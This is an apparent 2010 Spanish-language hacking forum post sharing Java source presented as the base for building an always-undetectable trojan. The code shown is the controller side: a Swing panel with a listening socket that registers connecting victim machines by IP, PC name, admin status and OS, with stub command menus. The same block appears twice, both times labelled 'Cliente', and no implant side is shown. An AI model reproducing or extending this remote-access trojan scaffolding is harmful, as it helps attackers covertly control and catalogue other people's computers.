Sáb Ago 28, 2010 11:09 pm
Bueno chicos aqui les pongo el code en java como crear un troyano en java pero sin ninguna función lo bueno esque sera siempree fud esta es la base de como hacer uno troyano espero y les guste.
Cliente
import java.awt.BorderLayout;
import java.awt.Color;
import java.awt.FlowLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.util.Hashtable;
import java.util.StringTokenizer;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JMenu;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JPanel;
import javax.swing.JPopupMenu;
import javax.swing.JScrollPane;
import javax.swing.JTable;
import javax.swing.JTextField;
import javax.swing.UIManager;
import javax.swing.UnsupportedLookAndFeelException;
import javax.swing.table.DefaultTableModel;
class User extends Thread{
private boolean connected = true;
private java.net.Socket socket = null;
private Client client = null;
@SuppressWarnings("unused")
private int id = 0;
private PrintWriter printWriter = null; //Salida
private BufferedReader bufferedReader = null; //Entrada
private String[] userinformation = null; //Mantiene la informacion del usuario
public User(Client client,java.net.Socket socket,int id){
this.client = client;
this.socket = socket;
this.id =id ;
userinformation = new String[7];
InOut();
}
public void writer(String command){ //Metodo para enviar commands
printWriter.println(command);
printWriter.flush();
}
private final void InOut(){ //iniciar Entrada y Salida E/S
try {
printWriter = new PrintWriter(socket.getOutputStream());
bufferedReader = new BufferedReader(
new InputStreamReader(socket.getInputStream()));
} catch (IOException e) {e.printStackTrace();
}
}
private void sleep(int time){
try {
Thread.sleep(time);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
public static final int DELAY = 70;
boolean active = false;
@Override
public synchronized void run(){
while(connected){
try {
if(bufferedReader.ready()){
String command =bufferedReader.readLine();
if(command.equalsIgnoreCase("NEW")){
String _command = bufferedReader.readLine();
StringTokenizer tokenizer = new StringTokenizer(_command,"?");
int index=0;
while(tokenizer.hasMoreElements()){
userinformation [index]=tokenizer.nextToken();
index++;
}
client.addUser( userinformation[0], userinformation[1],
userinformation[2], userinformation[3],
userinformation[4], userinformation[5],
userinformation[6]
);
active = true;
continue;
}
}
} catch (IOException e) {e.printStackTrace();
}
sleep(DELAY);
}
}
}
class socket extends ServerSocket implements Runnable{
private java.net.Socket socket = null;
private Client client = null;
public socket(int port, int backlog,Client client) throws IOException {
super(port, backlog);
this.client = client;
}
private Hashtable<InetAddress, User> hashtableUsers = new Hashtable<InetAddress, User>();
private boolean activated = true;
@Override
public synchronized void run() {
int n = 0;
while(activated){
try {
this.socket = accept();
User user = new User(client,socket,n);
user.start();
hashtableUsers.put(socket.getInetAddress(), user);
} catch (IOException e) {break;
}
}
}
public void _stop() {
try {
this.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
class TableModelMain extends DefaultTableModel {
private static final long serialVersionUID = 1L;
public TableModelMain(){
addColumn("ID");
addColumn("IP Remota");
addColumn("PC");
addColumn("Administrador");
addColumn("OS");
addColumn("Version");
addColumn("Puerto");
}
@Override
public boolean isCellEditable(int row, int column) {
return false;
}
public void add( String ID,
String IP,
String PC,
String ADMIN,
String OS,
String V,
String PORT) {
Object[] obj = {ID,IP,PC,ADMIN,OS,V,PORT};
super.addRow(obj);
}
}
public class Client extends JFrame implements ActionListener{
private TableModelMain modelMain = null;//
private JTable table = null;//
private JTextField textFieldPort = null;//
private JButton buttonInit = null;//
private socket socket = null;//
private JMenuBar menuBar = new JMenuBar();
@Override
public void actionPerformed(ActionEvent arg0) {
try {
if(arg0.getActionCommand().equalsIgnoreCase("stop")){socket._stop();buttonInit.setText("Iniciar");
textFieldPort.setEnabled(true);}else{
socket = new socket(Integer.parseInt(textFieldPort.getText()),100,this);
new Thread(socket).start();
textFieldPort.setEnabled(false);
buttonInit.setText("Stop");
}
} catch (NumberFormatException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
private static final long serialVersionUID = 1L;
public void addUser(String ID, String IP, String PC, String ADMIN,
String OS, String V, String PORT) {
modelMain.add(ID, IP, PC, ADMIN, OS, V, PORT);
}
public Client() {
modelMain = new TableModelMain();
table = new JTable(modelMain);
table.setBackground(Color.WHITE);
JScrollPane scrollPane = new JScrollPane(table);
table.setFillsViewportHeight(true);
this.setLayout(new BorderLayout());
textFieldPort = new JTextField(5);
JPanel panel = new JPanel(new FlowLayout(FlowLayout.LEFT));
panel.add(new JLabel("Puerto: "));
panel.add(textFieldPort);
buttonInit = new JButton("Iniciar");
buttonInit.addActionListener(this);
panel.add(buttonInit);
menuBar = new JMenuBar();
menuBar.add(new JMenu("Archivo"));
setJMenuBar(menuBar);
JPopupMenu popupMenu = new JPopupMenu();
JMenuItem item = new JMenuItem("Funcion 1");
popupMenu.add(item);
table.setComponentPopupMenu(popupMenu);
getContentPane().add(panel,BorderLayout.NORTH);
getContentPane().add(scrollPane,BorderLayout.CENTER);
initFrame();
}
private final void initFrame(){
this.setSize(800,300);
this.setVisible(true);
}
public static void main(String[] args) throws ClassNotFoundException,
InstantiationException,
IllegalAccessException,
UnsupportedLookAndFeelException
{
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
new Client().setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
}
}
Agradecimientos: a la pagina ilegal-RP y a cydonia dueño del code
Cliente
import java.awt.BorderLayout;
import java.awt.Color;
import java.awt.FlowLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.util.Hashtable;
import java.util.StringTokenizer;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JMenu;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JPanel;
import javax.swing.JPopupMenu;
import javax.swing.JScrollPane;
import javax.swing.JTable;
import javax.swing.JTextField;
import javax.swing.UIManager;
import javax.swing.UnsupportedLookAndFeelException;
import javax.swing.table.DefaultTableModel;
class User extends Thread{
private boolean connected = true;
private java.net.Socket socket = null;
private Client client = null;
@SuppressWarnings("unused")
private int id = 0;
private PrintWriter printWriter = null; //Salida
private BufferedReader bufferedReader = null; //Entrada
private String[] userinformation = null; //Mantiene la informacion del usuario
public User(Client client,java.net.Socket socket,int id){
this.client = client;
this.socket = socket;
this.id =id ;
userinformation = new String[7];
InOut();
}
public void writer(String command){ //Metodo para enviar commands
printWriter.println(command);
printWriter.flush();
}
private final void InOut(){ //iniciar Entrada y Salida E/S
try {
printWriter = new PrintWriter(socket.getOutputStream());
bufferedReader = new BufferedReader(
new InputStreamReader(socket.getInputStream()));
} catch (IOException e) {e.printStackTrace();
}
}
private void sleep(int time){
try {
Thread.sleep(time);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
public static final int DELAY = 70;
boolean active = false;
@Override
public synchronized void run(){
while(connected){
try {
if(bufferedReader.ready()){
String command =bufferedReader.readLine();
if(command.equalsIgnoreCase("NEW")){
String _command = bufferedReader.readLine();
StringTokenizer tokenizer = new StringTokenizer(_command,"?");
int index=0;
while(tokenizer.hasMoreElements()){
userinformation [index]=tokenizer.nextToken();
index++;
}
client.addUser( userinformation[0], userinformation[1],
userinformation[2], userinformation[3],
userinformation[4], userinformation[5],
userinformation[6]
);
active = true;
continue;
}
}
} catch (IOException e) {e.printStackTrace();
}
sleep(DELAY);
}
}
}
class socket extends ServerSocket implements Runnable{
private java.net.Socket socket = null;
private Client client = null;
public socket(int port, int backlog,Client client) throws IOException {
super(port, backlog);
this.client = client;
}
private Hashtable<InetAddress, User> hashtableUsers = new Hashtable<InetAddress, User>();
private boolean activated = true;
@Override
public synchronized void run() {
int n = 0;
while(activated){
try {
this.socket = accept();
User user = new User(client,socket,n);
user.start();
hashtableUsers.put(socket.getInetAddress(), user);
} catch (IOException e) {break;
}
}
}
public void _stop() {
try {
this.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
class TableModelMain extends DefaultTableModel {
private static final long serialVersionUID = 1L;
public TableModelMain(){
addColumn("ID");
addColumn("IP Remota");
addColumn("PC");
addColumn("Administrador");
addColumn("OS");
addColumn("Version");
addColumn("Puerto");
}
@Override
public boolean isCellEditable(int row, int column) {
return false;
}
public void add( String ID,
String IP,
String PC,
String ADMIN,
String OS,
String V,
String PORT) {
Object[] obj = {ID,IP,PC,ADMIN,OS,V,PORT};
super.addRow(obj);
}
}
public class Client extends JFrame implements ActionListener{
private TableModelMain modelMain = null;//
private JTable table = null;//
private JTextField textFieldPort = null;//
private JButton buttonInit = null;//
private socket socket = null;//
private JMenuBar menuBar = new JMenuBar();
@Override
public void actionPerformed(ActionEvent arg0) {
try {
if(arg0.getActionCommand().equalsIgnoreCase("stop")){socket._stop();buttonInit.setText("Iniciar");
textFieldPort.setEnabled(true);}else{
socket = new socket(Integer.parseInt(textFieldPort.getText()),100,this);
new Thread(socket).start();
textFieldPort.setEnabled(false);
buttonInit.setText("Stop");
}
} catch (NumberFormatException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
private static final long serialVersionUID = 1L;
public void addUser(String ID, String IP, String PC, String ADMIN,
String OS, String V, String PORT) {
modelMain.add(ID, IP, PC, ADMIN, OS, V, PORT);
}
public Client() {
modelMain = new TableModelMain();
table = new JTable(modelMain);
table.setBackground(Color.WHITE);
JScrollPane scrollPane = new JScrollPane(table);
table.setFillsViewportHeight(true);
this.setLayout(new BorderLayout());
textFieldPort = new JTextField(5);
JPanel panel = new JPanel(new FlowLayout(FlowLayout.LEFT));
panel.add(new JLabel("Puerto: "));
panel.add(textFieldPort);
buttonInit = new JButton("Iniciar");
buttonInit.addActionListener(this);
panel.add(buttonInit);
menuBar = new JMenuBar();
menuBar.add(new JMenu("Archivo"));
setJMenuBar(menuBar);
JPopupMenu popupMenu = new JPopupMenu();
JMenuItem item = new JMenuItem("Funcion 1");
popupMenu.add(item);
table.setComponentPopupMenu(popupMenu);
getContentPane().add(panel,BorderLayout.NORTH);
getContentPane().add(scrollPane,BorderLayout.CENTER);
initFrame();
}
private final void initFrame(){
this.setSize(800,300);
this.setVisible(true);
}
public static void main(String[] args) throws ClassNotFoundException,
InstantiationException,
IllegalAccessException,
UnsupportedLookAndFeelException
{
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
new Client().setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
}
}
Agradecimientos: a la pagina ilegal-RP y a cydonia dueño del code